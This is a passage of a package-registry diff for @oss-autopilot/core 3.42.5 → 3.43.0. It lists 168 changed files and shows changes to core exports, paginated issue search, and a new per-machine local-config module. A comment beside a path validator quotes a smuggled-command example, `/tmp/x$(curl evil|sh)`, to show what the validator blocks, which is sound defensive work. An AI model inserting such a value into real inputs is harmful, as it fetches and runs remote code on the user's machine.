@oss-autopilot/core 3.42.5 → 3.43.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (168) hide show
  1. package/dist/cli-pre-action.js +8 -3
  2. package/dist/cli-registry.js +272 -25
  3. package/dist/cli.bundle.cjs +183 -154
  4. package/dist/commands/check-integration.js +1 -0
  5. package/dist/commands/cleanup.d.ts +76 -0
  6. package/dist/commands/cleanup.js +269 -0
  7. package/dist/commands/comments.d.ts +6 -0
  8. package/dist/commands/comments.js +6 -2
  9. package/dist/commands/config.js +37 -5
  10. package/dist/commands/daily-dismiss-filter.d.ts +7 -0
  11. package/dist/commands/daily-dismiss-filter.js +17 -1
  12. package/dist/commands/daily-ledger.d.ts +122 -0
  13. package/dist/commands/daily-ledger.js +225 -0
  14. package/dist/commands/daily-recent-prs.d.ts +26 -0
  15. package/dist/commands/daily-recent-prs.js +55 -0
  16. package/dist/commands/daily.d.ts +2 -1
  17. package/dist/commands/daily.js +59 -89
  18. package/dist/commands/dashboard-cache.d.ts +2 -0
  19. package/dist/commands/dashboard-cache.js +33 -8
  20. package/dist/commands/dashboard-data.js +71 -36
  21. package/dist/commands/dashboard-gist-sync.js +3 -1
  22. package/dist/commands/dashboard-lifecycle.js +1 -1
  23. package/dist/commands/dashboard-process.d.ts +14 -1
  24. package/dist/commands/dashboard-process.js +46 -7
  25. package/dist/commands/dashboard-server.js +89 -23
  26. package/dist/commands/detect-formatters.js +1 -0
  27. package/dist/commands/dismiss.js +5 -2
  28. package/dist/commands/doctor.d.ts +15 -1
  29. package/dist/commands/doctor.js +73 -5
  30. package/dist/commands/draft.d.ts +77 -0
  31. package/dist/commands/draft.js +218 -0
  32. package/dist/commands/eval.js +1 -0
  33. package/dist/commands/guidelines.d.ts +23 -1
  34. package/dist/commands/guidelines.js +49 -4
  35. package/dist/commands/index.d.ts +24 -4
  36. package/dist/commands/index.js +15 -3
  37. package/dist/commands/issue-thread.d.ts +46 -0
  38. package/dist/commands/issue-thread.js +123 -0
  39. package/dist/commands/ledger-backfill.d.ts +9 -0
  40. package/dist/commands/ledger-backfill.js +44 -1
  41. package/dist/commands/list-mark-done.d.ts +2 -1
  42. package/dist/commands/list-mark-done.js +3 -1
  43. package/dist/commands/list-move-tier.d.ts +2 -1
  44. package/dist/commands/list-move-tier.js +3 -1
  45. package/dist/commands/local-repos.js +10 -5
  46. package/dist/commands/locate-issue-list.d.ts +40 -17
  47. package/dist/commands/locate-issue-list.js +148 -88
  48. package/dist/commands/move.js +7 -1
  49. package/dist/commands/overnight-handoff.d.ts +17 -7
  50. package/dist/commands/overnight-handoff.js +36 -14
  51. package/dist/commands/overnight-push-prep.d.ts +13 -8
  52. package/dist/commands/overnight-push-prep.js +106 -34
  53. package/dist/commands/overnight-tool-rules.d.ts +54 -0
  54. package/dist/commands/overnight-tool-rules.js +217 -0
  55. package/dist/commands/overnight.d.ts +5 -6
  56. package/dist/commands/overnight.js +61 -140
  57. package/dist/commands/parse-list.js +7 -1
  58. package/dist/commands/policy.d.ts +86 -0
  59. package/dist/commands/policy.js +263 -0
  60. package/dist/commands/pr-preflight.d.ts +43 -0
  61. package/dist/commands/pr-preflight.js +294 -0
  62. package/dist/commands/repo-vet.d.ts +9 -0
  63. package/dist/commands/repo-vet.js +36 -11
  64. package/dist/commands/scout-bridge.js +18 -8
  65. package/dist/commands/search.js +7 -0
  66. package/dist/commands/setup.d.ts +3 -3
  67. package/dist/commands/setup.js +46 -18
  68. package/dist/commands/skip-add.js +10 -1
  69. package/dist/commands/startup.d.ts +5 -3
  70. package/dist/commands/startup.js +65 -49
  71. package/dist/commands/state-cmd.d.ts +2 -0
  72. package/dist/commands/state-cmd.js +5 -1
  73. package/dist/commands/stats.js +1 -0
  74. package/dist/commands/status.js +1 -0
  75. package/dist/commands/strategy.js +1 -0
  76. package/dist/commands/vet-list.d.ts +6 -0
  77. package/dist/commands/vet-list.js +25 -0
  78. package/dist/commands/vet.d.ts +12 -0
  79. package/dist/commands/vet.js +118 -1
  80. package/dist/core/__fixtures__/prompt-injection-payloads.js +31 -0
  81. package/dist/core/anti-llm-policy.d.ts +3 -0
  82. package/dist/core/anti-llm-policy.js +3 -0
  83. package/dist/core/auth.js +2 -0
  84. package/dist/core/ci-analysis.d.ts +7 -2
  85. package/dist/core/ci-analysis.js +76 -21
  86. package/dist/core/commit-date.d.ts +19 -0
  87. package/dist/core/commit-date.js +17 -0
  88. package/dist/core/config-registry.js +11 -5
  89. package/dist/core/contributing.d.ts +2 -3
  90. package/dist/core/contributing.js +2 -3
  91. package/dist/core/daily-logic.d.ts +27 -5
  92. package/dist/core/daily-logic.js +57 -19
  93. package/dist/core/errors.d.ts +37 -3
  94. package/dist/core/errors.js +54 -5
  95. package/dist/core/gist-health.d.ts +15 -3
  96. package/dist/core/gist-health.js +8 -0
  97. package/dist/core/gist-state-store.d.ts +24 -4
  98. package/dist/core/gist-state-store.js +97 -46
  99. package/dist/core/github-stats.d.ts +104 -16
  100. package/dist/core/github-stats.js +282 -97
  101. package/dist/core/http-cache.d.ts +0 -10
  102. package/dist/core/http-cache.js +0 -19
  103. package/dist/core/index.d.ts +12 -5
  104. package/dist/core/index.js +15 -5
  105. package/dist/core/issue-conversation.d.ts +8 -2
  106. package/dist/core/issue-conversation.js +31 -12
  107. package/dist/core/local-config.d.ts +95 -0
  108. package/dist/core/local-config.js +271 -0
  109. package/dist/core/merged-pr-notes.d.ts +2 -2
  110. package/dist/core/pagination.d.ts +55 -0
  111. package/dist/core/pagination.js +59 -0
  112. package/dist/core/paths.d.ts +7 -0
  113. package/dist/core/paths.js +9 -0
  114. package/dist/core/pr-assembly.js +6 -2
  115. package/dist/core/pr-graphql.d.ts +37 -3
  116. package/dist/core/pr-graphql.js +73 -12
  117. package/dist/core/pr-monitor.d.ts +29 -12
  118. package/dist/core/pr-monitor.js +71 -23
  119. package/dist/core/pr-preflight.d.ts +113 -0
  120. package/dist/core/pr-preflight.js +364 -0
  121. package/dist/core/pr-quality-rubric.d.ts +0 -6
  122. package/dist/core/pr-quality-rubric.js +0 -8
  123. package/dist/core/pr-template.d.ts +2 -0
  124. package/dist/core/pr-template.js +5 -1
  125. package/dist/core/repo-policy.d.ts +105 -0
  126. package/dist/core/repo-policy.js +400 -0
  127. package/dist/core/repo-score-manager.d.ts +48 -0
  128. package/dist/core/repo-score-manager.js +111 -1
  129. package/dist/core/review-analysis.d.ts +34 -19
  130. package/dist/core/review-analysis.js +67 -10
  131. package/dist/core/reviewed-prs-fetch.js +11 -29
  132. package/dist/core/reviewed-prs.js +8 -15
  133. package/dist/core/stale-data.d.ts +41 -0
  134. package/dist/core/stale-data.js +115 -0
  135. package/dist/core/state-persistence.d.ts +62 -27
  136. package/dist/core/state-persistence.js +338 -117
  137. package/dist/core/state-schema.d.ts +113 -210
  138. package/dist/core/state-schema.js +165 -80
  139. package/dist/core/state.d.ts +60 -8
  140. package/dist/core/state.js +192 -46
  141. package/dist/core/status-determination.js +26 -8
  142. package/dist/core/strategy.js +3 -1
  143. package/dist/core/types.d.ts +22 -1
  144. package/dist/core/types.js +1 -0
  145. package/dist/core/untrusted-content.d.ts +30 -11
  146. package/dist/core/untrusted-content.js +77 -42
  147. package/dist/core/urls.d.ts +9 -0
  148. package/dist/core/urls.js +18 -0
  149. package/dist/dashboard/assets/{chart-panel-DPKNBUts.js → chart-panel-C_C1lFTI.js} +1 -1
  150. package/dist/dashboard/assets/{index-B25bZOYX.js → index-B--H66Jk.js} +1 -1
  151. package/dist/dashboard/index.html +1 -1
  152. package/dist/formatters/json.d.ts +262 -6
  153. package/dist/formatters/json.js +77 -1
  154. package/package.json +1 -1
  155. package/dist/core/ci-enforced-tools.d.ts +0 -35
  156. package/dist/core/ci-enforced-tools.js +0 -109
  157. package/dist/core/comment-decision.d.ts +0 -79
  158. package/dist/core/comment-decision.js +0 -82
  159. package/dist/core/extraction-categories.d.ts +0 -55
  160. package/dist/core/extraction-categories.js +0 -108
  161. package/dist/core/follow-up-history.d.ts +0 -40
  162. package/dist/core/follow-up-history.js +0 -71
  163. package/dist/core/issue-effort.d.ts +0 -29
  164. package/dist/core/issue-effort.js +0 -47
  165. package/dist/core/maintainer-hints.d.ts +0 -23
  166. package/dist/core/maintainer-hints.js +0 -36
  167. package/dist/core/workflow-state.d.ts +0 -56
  168. package/dist/core/workflow-state.js +0 -101
@@ -2,25 +2,30 @@
2
2
  * Core module exports
3
3
  * Re-exports all core functionality for convenient imports
4
4
  */
5
- export { StateManager, getStateManager, getStateManagerAsync, ensureGistPersistence, bootstrapGistBestEffort, maybeCheckpoint, resetStateManager, } from './state.js';
6
- export { renderGistWarning, } from './gist-health.js';
5
+ export { StateManager, getStateManager, getStateManagerAsync, ensureGistPersistence, bootstrapGistBestEffort, unknownPersistenceModeWarning, maybeCheckpoint, resetStateManager, } from './state.js';
6
+ export { renderGistWarning, renderUnknownModeWarning, } from './gist-health.js';
7
7
  export { GistStateStore } from './gist-state-store.js';
8
8
  export { guidelinesFilename, repoFromGuidelinesFilename, GUIDELINES_FILE_PREFIX, GUIDELINES_MAX_BYTES, GuidelinesNotAvailableError, GuidelinesTooLargeError, } from './guidelines-store.js';
9
9
  export { PRMonitor, computeDisplayLabel, classifyCICheck, classifyFailingChecks, } from './pr-monitor.js';
10
10
  // Search/vetting now delegated to @oss-scout/core via commands/scout-bridge.ts
11
11
  export { IssueConversationMonitor, MAX_DIRECT_ENGAGED_FETCHES, } from './issue-conversation.js';
12
12
  export { isBotAuthor, isAcknowledgmentComment, isReactionOnlyComment, isQuoteReplyTo, isStatusNudge, } from './comment-utils.js';
13
- export { wrapUntrustedContent, fenceFetchedPR, fenceFetchedPRTitles, labelGuidelinesContent, GUIDELINES_PROVENANCE_NOTE, extractFromFence, safeExtractFromFence, UNTRUSTED_OPEN_TAG_NAME, UNTRUSTED_CLOSE_TAG, } from './untrusted-content.js';
13
+ export { wrapUntrustedContent, fenceFetchedPR, fenceFetchedPRTitles, fenceTitlesDeep, labelGuidelinesContent, GUIDELINES_PROVENANCE_NOTE, extractFromFence, safeExtractFromFence, UNTRUSTED_OPEN_TAG_NAME, UNTRUSTED_CLOSE_TAG, } from './untrusted-content.js';
14
14
  export { getOctokit, checkRateLimit } from './github.js';
15
15
  export { parseGitHubUrl, issueRefKey, splitRepo, isOwnRepo } from './urls.js';
16
16
  export { daysBetween, formatRelativeTime, byDateDescending } from './dates.js';
17
17
  export { getCLIVersion, getDataDir, resolveDataDir, getStatePath, getBackupDir, getCacheDir, stateFileExists, } from './paths.js';
18
18
  export { getGitHubToken, getGitHubTokenAsync, requireGitHubToken, resetGitHubTokenCache, detectGitHubUsername, } from './auth.js';
19
19
  export { DEFAULT_CONCURRENCY } from './concurrency.js';
20
- export { OssAutopilotError, ConfigurationError, ValidationError, GistPermissionError, ConcurrencyError, GistConcurrencyError, GistFileSizeError, GIST_FILE_SIZE_REMEDY, errorMessage, getHttpStatusCode, isRateLimitError, isRateLimitOrAuthError, nonFatalCatch, resolveErrorCode, } from './errors.js';
20
+ export { OssAutopilotError, ConfigurationError, ValidationError, GistPermissionError, ConcurrencyError, StateLockTimeoutError, NewerStateVersionError, GistConcurrencyError, GistDiscoveryError, GistFileSizeError, GIST_FILE_SIZE_REMEDY, assertAttended, errorMessage, getHttpStatusCode, isRateLimitError, isRateLimitOrAuthError, nonFatalCatch, resolveErrorCode, } from './errors.js';
21
21
  export { enableDebug, isDebugEnabled, debug, info, warn, timed } from './logger.js';
22
22
  export { HttpCache, getHttpCache, cachedRequest } from './http-cache.js';
23
- export { CRITICAL_STATUSES, applyStatusOverrides, computeRepoSignals, computeLedgerRepoSignals, groupPRsByRepo, assessCapacity, collectActionableIssues, computeActionMenu, isCoveredByDismiss, toShelvedPRRef, buildStarFilter, firstMaintainerResponseFromDigest, lastReviewStateFromDigest, formatActionHint, formatBriefSummary, formatSummary, printDigest, } from './daily-logic.js';
23
+ export { CRITICAL_STATUSES, shouldAutoUnshelve, shelveReasonsOf, withoutShelvedNeedsAddressing, applyStatusOverrides, computeRepoSignals, computeLedgerRepoSignals, groupPRsByRepo, assessCapacity, collectActionableIssues, computeActionMenu, isCoveredByDismiss, toShelvedPRRef, buildStarFilter, firstMaintainerResponseFromDigest, lastReviewStateFromDigest, } from './daily-logic.js';
24
+ // Kept on the public entry for semver only (#1948). These printers live in
25
+ // commands/; core modules must not import them, so this re-export stays here
26
+ // rather than in daily-logic.ts.
27
+ /** @deprecated Since #1948; will be removed in the next major version. */
28
+ export { formatActionHint, formatBriefSummary, formatSummary, printDigest } from '../commands/daily-render.js';
24
29
  export { collectEngagedIssues, toIssueEngagement, LEDGER_LINK_MAX_AGE_DAYS, } from './engaged-issues.js';
25
30
  export { computeContributionStats } from './stats.js';
26
31
  export { selectClosedPRStatusCandidates, toClosedPRStatusUpdate, CLOSED_PR_STATUS_WINDOW_DAYS, } from './closed-pr-status.js';
@@ -32,6 +37,11 @@ export { classifyLinkedPR, isLinkedPRStalled, STALLED_PR_THRESHOLD_DAYS, } from
32
37
  export { classifyIssueAvailability, fetchIssueVerification, verifyIssuesBatch, MAX_VERIFY_CONCURRENCY, RULED_OUT_VERDICTS, } from './issue-verification.js';
33
38
  export { classifyAttentionBucket, summarizeAttentionBuckets, shouldSuggestClose, STUCK_CI_THRESHOLD_DAYS, DORMANT_FOLLOWUP_THRESHOLD_DAYS, } from './pr-attention.js';
34
39
  export { scanForAntiLLMPolicy, } from './anti-llm-policy.js';
40
+ /**
41
+ * Formatter detection behind the deprecated detect-formatters command.
42
+ *
43
+ * @deprecated Since #1948; will be removed in the next major version.
44
+ */
35
45
  export { detectFormatters, diagnoseCIFormatterFailure, getPreferredFormatter, } from './formatter-detection.js';
36
46
  export { CONFIG_KEY_REGISTRY, isKnownKey, getKeyDef, getSetupKeys, getConfigKeys, suggestKey, formatUnknownKeyError, } from './config-registry.js';
37
47
  export { DashboardDataSchema, DashboardStatsSchema, validateDashboardData, } from './dashboard-data-schema.js';
@@ -58,13 +58,19 @@ export interface FetchCommentedIssuesResult {
58
58
  */
59
59
  lookupFailures: number;
60
60
  /**
61
- * Non-fatal problems for the run's warning channel: a claimed or open-PR
62
- * issue that is gone, a comment thread too long to read to the end, an
61
+ * Non-fatal problems for the run's warning channel: a comment search that
62
+ * returned a partial list (#1928), a claimed or open-PR issue that is gone, a comment thread too long to read to the end, an
63
63
  * engagement time that does not parse, engaged issues with new activity
64
64
  * left unread because the comment-fetch cap bit. Each means the result
65
65
  * may be missing or misreporting something the user can act on.
66
66
  */
67
67
  warnings: string[];
68
+ /**
69
+ * Set when the comment search returned a partial list (#1928): a short
70
+ * label for lists of degraded operations, e.g. `commented-issue search
71
+ * truncated (300 of 420)`. The full sentence is in `warnings`.
72
+ */
73
+ searchTruncation?: string;
68
74
  }
69
75
  export declare class IssueConversationMonitor {
70
76
  private octokit;
@@ -23,7 +23,7 @@
23
23
  */
24
24
  import { getOctokit } from './github.js';
25
25
  import { isBotAuthor, isAcknowledgmentComment, isReactionOnlyComment, isQuoteReplyTo, isStatusNudge, } from './comment-utils.js';
26
- import { paginateAll, paginateAllDetailed } from './pagination.js';
26
+ import { paginateAll, paginateAllDetailed, searchAllPages } from './pagination.js';
27
27
  import { getHttpCache, cachedRequest } from './http-cache.js';
28
28
  import { getStateManager } from './state.js';
29
29
  import { daysBetween } from './dates.js';
@@ -66,6 +66,22 @@ function describeError(error) {
66
66
  const status = getHttpStatusCode(error);
67
67
  return status === undefined ? errorMessage(error) : `HTTP ${status}: ${errorMessage(error)}`;
68
68
  }
69
+ /** Word a partial comment search: a failed later page, else the counts read. */
70
+ function describeSearchTruncation(search) {
71
+ const read = search.items.length;
72
+ const unchecked = 'Replies on the other issues you commented on are not checked this run.';
73
+ if (search.failure) {
74
+ const cause = describeError(search.failure.error);
75
+ return {
76
+ label: `commented-issue search failed on page ${search.failure.page} (${read} read)`,
77
+ message: `Commented-issue search failed on page ${search.failure.page} (${cause}); only the ${read} result(s) from the page(s) before it were read. ${unchecked}`,
78
+ };
79
+ }
80
+ return {
81
+ label: `commented-issue search truncated (${read} of ${search.totalCount})`,
82
+ message: `Commented-issue search is partial: read the ${read} most recently updated of ${search.totalCount} result(s). ${unchecked}`,
83
+ };
84
+ }
69
85
  /**
70
86
  * Whether a gone engaged issue is worth a warning: a claim or an open PR
71
87
  * still points at it and the user can release the claim or fix the PR's
@@ -126,23 +142,26 @@ export class IssueConversationMonitor {
126
142
  const report = { warnings: [], failures: [] };
127
143
  const { warnings, failures } = report;
128
144
  debug(MODULE, `Fetching commented issues for @${username} (last ${maxDays} days)...`);
129
- // Search for open issues the user has commented on, updated within window
130
- // Single page (100) is sufficient for most users; log if truncated.
131
- const { data } = await this.octokit.search.issuesAndPullRequests({
132
- q: `commenter:${username} type:issue state:open updated:>=${since}`,
145
+ // Search for open issues the user has commented on, updated within window.
146
+ // Own repos and self-authored issues are dropped below either way;
147
+ // excluding them in the query keeps them from using up page slots (#1928).
148
+ // Excluded repos and orgs and the blocklist are still filtered after the cap.
149
+ const search = await searchAllPages((page) => this.octokit.search.issuesAndPullRequests({
150
+ page,
151
+ q: `commenter:${username} type:issue state:open updated:>=${since} -user:${username} -author:${username}`,
133
152
  sort: 'updated',
134
153
  order: 'desc',
135
154
  per_page: 100,
136
- });
137
- if (data.total_count > 100) {
138
- warn(MODULE, `Search returned ${data.total_count} results but only first 100 were fetched. Some commented issues may be missing.`);
139
- }
155
+ }));
156
+ const searchTruncation = search.truncated ? describeSearchTruncation(search) : undefined;
157
+ if (searchTruncation)
158
+ warnings.push(searchTruncation.message);
140
159
  // Filter out PRs, user-authored issues, excluded repos, and blocklisted repos.
141
160
  // Also parse repo info for each candidate to avoid re-parsing in analyzeIssueConversation.
142
161
  const candidates = [];
143
162
  const seenKeys = new Set();
144
163
  const searchCandidates = new Map();
145
- for (const item of data.items) {
164
+ for (const item of search.items) {
146
165
  // Defensive: skip pull requests in case type:issue qualifier is unreliable
147
166
  if (item.pull_request)
148
167
  continue;
@@ -230,7 +249,7 @@ export class IssueConversationMonitor {
230
249
  };
231
250
  results.sort((a, b) => statusOrder[a.status] - statusOrder[b.status]);
232
251
  debug(MODULE, `Analyzed ${results.length} issue conversations (${results.filter((i) => i.status === 'new_response').length} with new responses)`);
233
- return { failures, lookupFailures, warnings, issues: results };
252
+ return { failures, lookupFailures, warnings, issues: results, searchTruncation: searchTruncation?.label };
234
253
  }
235
254
  /** Repo-level exclusions shared by the search results and the direct fetches. */
236
255
  isRepoAllowed(repoFullName, config) {
@@ -238,7 +257,7 @@ export class IssueConversationMonitor {
238
257
  // Skip issues in user-owned repos (we only care about contributing to others' projects)
239
258
  if (isOwnRepo(owner, config.githubUsername))
240
259
  return false;
241
- if (config.excludeRepos.includes(repoFullName))
260
+ if (config.excludeRepos.some((repo) => repo.toLowerCase() === repoFullName.toLowerCase()))
242
261
  return false;
243
262
  if (config.excludeOrgs?.some((org) => owner.toLowerCase() === org.toLowerCase()))
244
263
  return false;
@@ -0,0 +1,95 @@
1
+ /**
2
+ * Per-machine settings (#1950): `~/.oss-autopilot/local-config.json`.
3
+ *
4
+ * The synced state document is shared by every machine through the Gist, so a
5
+ * filesystem path stored there is overwritten by whichever machine wrote
6
+ * last. The curated list path, the skipped-issues path, the local repo scan
7
+ * roots (#2010) and the local repo cache live here instead. Like
8
+ * `machine-id`, the file is outside `state.json`, so no sync path ever
9
+ * carries it.
10
+ *
11
+ * Transition: the synced keys (`config.issueListPath`,
12
+ * `config.skippedIssuesPath`, `config.localRepoScanPaths`, `localRepoCache`)
13
+ * stay in the schema and are still read as a fallback, so a machine that has
14
+ * not set a local value behaves as before. New clients write path settings here only; a synced
15
+ * value is copied here the first time it is read and found on this machine's
16
+ * disk, and is never adopted when it is not.
17
+ */
18
+ import { type LocalRepoCache } from './state-schema.js';
19
+ /** Config keys whose value is a filesystem path on one machine. */
20
+ export declare const MACHINE_PATH_KEYS: readonly ["issueListPath", "skippedIssuesPath"];
21
+ export type MachinePathKey = (typeof MACHINE_PATH_KEYS)[number];
22
+ /** The synced values the accessors fall back to (a slice of `state.config`). */
23
+ export type SyncedPaths = Partial<Record<MachinePathKey, string>>;
24
+ /**
25
+ * How a stored path got into the local file: `set` by the user (`setup --set`,
26
+ * `config`), `adopted` from the synced config because it exists on this
27
+ * machine, or found by a `probe` (the `skipped-issues.md` next to the list;
28
+ * an older build also stored current-directory list probes, #1933).
29
+ */
30
+ export type MachinePathSource = 'set' | 'adopted' | 'probe';
31
+ export type ScanPathsSource = 'set' | 'adopted';
32
+ /**
33
+ * This machine's value for a path setting.
34
+ *
35
+ * The local value wins. With none, the synced value is returned unchanged
36
+ * (callers already handle a path that is not on disk), and it is copied to
37
+ * the local file when it is an absolute path to a regular file here, so a
38
+ * later write from another machine cannot replace it.
39
+ */
40
+ export declare function getMachinePath(key: MachinePathKey, synced: SyncedPaths): string | undefined;
41
+ /**
42
+ * Where the value {@link getMachinePath} returns comes from: the source
43
+ * recorded with the local value, `synced` when there is no local value and
44
+ * the shared config supplies one, or undefined when nothing is configured.
45
+ */
46
+ export declare function getMachinePathSource(key: MachinePathKey, synced: SyncedPaths): MachinePathSource | 'synced' | undefined;
47
+ /**
48
+ * Throw when a path setting contains a character a shell still interprets
49
+ * inside double quotes ($ ` " \, a line break or NUL). Checked on every
50
+ * write, CLI and MCP alike.
51
+ */
52
+ export declare function assertSafeMachinePath(key: string, value: string): void;
53
+ /**
54
+ * Set (or, with `undefined` or an empty string, clear) a path setting for
55
+ * this machine only, recording how the value was obtained. A relative value
56
+ * is stored resolved against the current directory (#1933), so it never
57
+ * depends on where a later command runs. Returns what was stored.
58
+ *
59
+ * @throws ValidationError when the path contains a shell metacharacter.
60
+ */
61
+ export declare function setMachinePath(key: MachinePathKey, value?: string, source?: MachinePathSource): string;
62
+ /**
63
+ * This machine's repo scan roots (#2010) and how they got there, or undefined
64
+ * to use the defaults.
65
+ *
66
+ * A stored local value wins, even an empty one (`setup --set
67
+ * localRepoScanPaths=`), which means "use the defaults". With none, a synced
68
+ * list is adopted (copied to the local file) only when every entry is an
69
+ * absolute, shell-safe directory here; otherwise it was written for another
70
+ * machine and is ignored.
71
+ */
72
+ export declare function getMachineScanPaths(synced: string[] | undefined): {
73
+ paths: string[];
74
+ source: ScanPathsSource;
75
+ } | undefined;
76
+ /**
77
+ * Set this machine's scan roots from a comma-separated list. Entries are
78
+ * trimmed, `~/` is expanded and relative entries resolve against the current
79
+ * directory. An empty list clears them, so the defaults apply. Returns what
80
+ * was stored.
81
+ *
82
+ * @throws ValidationError when an entry contains a shell metacharacter.
83
+ */
84
+ export declare function setMachineScanPaths(value: string): string[];
85
+ /**
86
+ * This machine's local repo cache, or undefined when a scan is needed.
87
+ *
88
+ * Entries whose path is gone are dropped on every read (the file itself is
89
+ * rewritten by the next scan). A synced cache left by an older client is
90
+ * adopted once, minus the entries that are not on this disk, and is ignored
91
+ * when none of its repos are here: it was written by another machine.
92
+ */
93
+ export declare function getMachineRepoCache(synced: LocalRepoCache | undefined): LocalRepoCache | undefined;
94
+ /** Store a fresh scan for this machine only. */
95
+ export declare function setMachineRepoCache(cache: LocalRepoCache): void;
@@ -0,0 +1,271 @@
1
+ /**
2
+ * Per-machine settings (#1950): `~/.oss-autopilot/local-config.json`.
3
+ *
4
+ * The synced state document is shared by every machine through the Gist, so a
5
+ * filesystem path stored there is overwritten by whichever machine wrote
6
+ * last. The curated list path, the skipped-issues path, the local repo scan
7
+ * roots (#2010) and the local repo cache live here instead. Like
8
+ * `machine-id`, the file is outside `state.json`, so no sync path ever
9
+ * carries it.
10
+ *
11
+ * Transition: the synced keys (`config.issueListPath`,
12
+ * `config.skippedIssuesPath`, `config.localRepoScanPaths`, `localRepoCache`)
13
+ * stay in the schema and are still read as a fallback, so a machine that has
14
+ * not set a local value behaves as before. New clients write path settings here only; a synced
15
+ * value is copied here the first time it is read and found on this machine's
16
+ * disk, and is never adopted when it is not.
17
+ */
18
+ import * as fs from 'node:fs';
19
+ import * as os from 'node:os';
20
+ import path from 'node:path';
21
+ import { z } from 'zod';
22
+ import { getLocalConfigPath } from './paths.js';
23
+ import { atomicWriteFileSync } from './state-persistence.js';
24
+ import { LocalRepoCacheSchema } from './state-schema.js';
25
+ import { errorMessage, ValidationError } from './errors.js';
26
+ import { warn } from './logger.js';
27
+ const MODULE = 'local-config';
28
+ /** Config keys whose value is a filesystem path on one machine. */
29
+ export const MACHINE_PATH_KEYS = ['issueListPath', 'skippedIssuesPath'];
30
+ // An empty `path` records "cleared on this machine", so the synced value does
31
+ // not come back after `setup --set issueListPath=`. A bare string is the
32
+ // shape written before the source was recorded; it loads as `set`.
33
+ const StoredPathSchema = z.union([
34
+ z.string(),
35
+ z.object({ path: z.string(), source: z.enum(['set', 'adopted', 'probe']) }),
36
+ ]);
37
+ // A bare array is a hand edit; it loads as `set`. A malformed value only
38
+ // drops this key (with a warning), not the whole file.
39
+ const ScanPathsShape = z.object({ paths: z.array(z.string()), source: z.enum(['set', 'adopted']) });
40
+ const StoredScanPathsSchema = z
41
+ .union([z.array(z.string()), ScanPathsShape])
42
+ .optional()
43
+ .catch((ctx) => {
44
+ const problems = ctx.issues.map((issue) => issue.message).join('; ');
45
+ warn(MODULE, `Ignoring malformed localRepoScanPaths in local-config.json (${problems})`);
46
+ });
47
+ const LocalConfigSchema = z.looseObject({
48
+ issueListPath: StoredPathSchema.optional(),
49
+ skippedIssuesPath: StoredPathSchema.optional(),
50
+ localRepoScanPaths: StoredScanPathsSchema,
51
+ localRepoCache: LocalRepoCacheSchema.optional(),
52
+ });
53
+ /**
54
+ * Move a file that cannot be parsed out of the way, so the next write does
55
+ * not overwrite what the user had. Returns a note for the warning.
56
+ */
57
+ function setAsideUnreadable(filePath) {
58
+ const rejectedPath = `${filePath}.rejected-${Date.now()}`;
59
+ try {
60
+ fs.renameSync(filePath, rejectedPath);
61
+ return `kept as ${rejectedPath}`;
62
+ }
63
+ catch (err) {
64
+ return `could not be set aside (${errorMessage(err)})`;
65
+ }
66
+ }
67
+ /** The stored file, or `{}` when it is missing or unreadable (with a warning). */
68
+ function readLocalConfig() {
69
+ const filePath = getLocalConfigPath();
70
+ if (!fs.existsSync(filePath))
71
+ return {};
72
+ try {
73
+ return LocalConfigSchema.parse(JSON.parse(fs.readFileSync(filePath, 'utf8')));
74
+ }
75
+ catch (err) {
76
+ warn(MODULE, `Ignoring unreadable ${filePath} (${errorMessage(err)}); it ${setAsideUnreadable(filePath)}`);
77
+ return {};
78
+ }
79
+ }
80
+ /** The stored entry for a key in its current shape, or undefined when none is stored. */
81
+ function readStoredPath(key) {
82
+ const stored = readLocalConfig()[key];
83
+ return typeof stored === 'string' ? { path: stored, source: 'set' } : stored;
84
+ }
85
+ // ponytail: read-modify-write with no lock. Two processes setting different
86
+ // keys at once can lose one write; the next detection or `setup --set`
87
+ // rewrites it. Take the state lock here if that ever shows up.
88
+ function updateLocalConfig(patch) {
89
+ const next = { ...readLocalConfig(), ...patch };
90
+ atomicWriteFileSync(getLocalConfigPath(), `${JSON.stringify(next, null, 2)}\n`, 0o600);
91
+ }
92
+ /** Best-effort copy of a synced value into the local file; the caller still has the value. */
93
+ function adopt(patch) {
94
+ try {
95
+ updateLocalConfig(patch);
96
+ }
97
+ catch (err) {
98
+ warn(MODULE, `Could not save machine-local settings: ${errorMessage(err)}`);
99
+ }
100
+ }
101
+ /** True for an absolute path to a regular file on this machine's disk. */
102
+ function isFileHere(candidate) {
103
+ return path.isAbsolute(candidate) && fs.statSync(candidate, { throwIfNoEntry: false })?.isFile() === true;
104
+ }
105
+ /**
106
+ * This machine's value for a path setting.
107
+ *
108
+ * The local value wins. With none, the synced value is returned unchanged
109
+ * (callers already handle a path that is not on disk), and it is copied to
110
+ * the local file when it is an absolute path to a regular file here, so a
111
+ * later write from another machine cannot replace it.
112
+ */
113
+ export function getMachinePath(key, synced) {
114
+ const local = readStoredPath(key);
115
+ if (local)
116
+ return local.path || undefined;
117
+ const syncedValue = synced[key];
118
+ // A synced value with a shell metacharacter (written by an older client) is
119
+ // never adopted into the local file.
120
+ if (syncedValue && isFileHere(syncedValue) && !SHELL_UNSAFE_PATH.test(syncedValue)) {
121
+ adopt({ [key]: { path: syncedValue, source: 'adopted' } });
122
+ }
123
+ return syncedValue;
124
+ }
125
+ /**
126
+ * Where the value {@link getMachinePath} returns comes from: the source
127
+ * recorded with the local value, `synced` when there is no local value and
128
+ * the shared config supplies one, or undefined when nothing is configured.
129
+ */
130
+ export function getMachinePathSource(key, synced) {
131
+ const local = readStoredPath(key);
132
+ if (local)
133
+ return local.source;
134
+ const syncedValue = synced[key];
135
+ return syncedValue ? 'synced' : undefined;
136
+ }
137
+ // The characters still active inside a double-quoted shell word: $ ` " \
138
+ // and line breaks. No workflow interpolates a stored path any more; this
139
+ // keeps a validated path safe inside double quotes regardless, so a value
140
+ // like `/tmp/x$(curl evil|sh)` written over MCP cannot run. ' & ; | < > are
141
+ // allowed: real paths use them ("John's Vault", "Notes & Docs").
142
+ const SHELL_UNSAFE_PATH = /[$`"\\\n\r]/;
143
+ /**
144
+ * Throw when a path setting contains a character a shell still interprets
145
+ * inside double quotes ($ ` " \, a line break or NUL). Checked on every
146
+ * write, CLI and MCP alike.
147
+ */
148
+ export function assertSafeMachinePath(key, value) {
149
+ if (SHELL_UNSAFE_PATH.test(value) || value.includes('\0')) {
150
+ throw new ValidationError(`Invalid value for ${key}: a path may not contain $ \` " \\, a line break or NUL.`);
151
+ }
152
+ }
153
+ /**
154
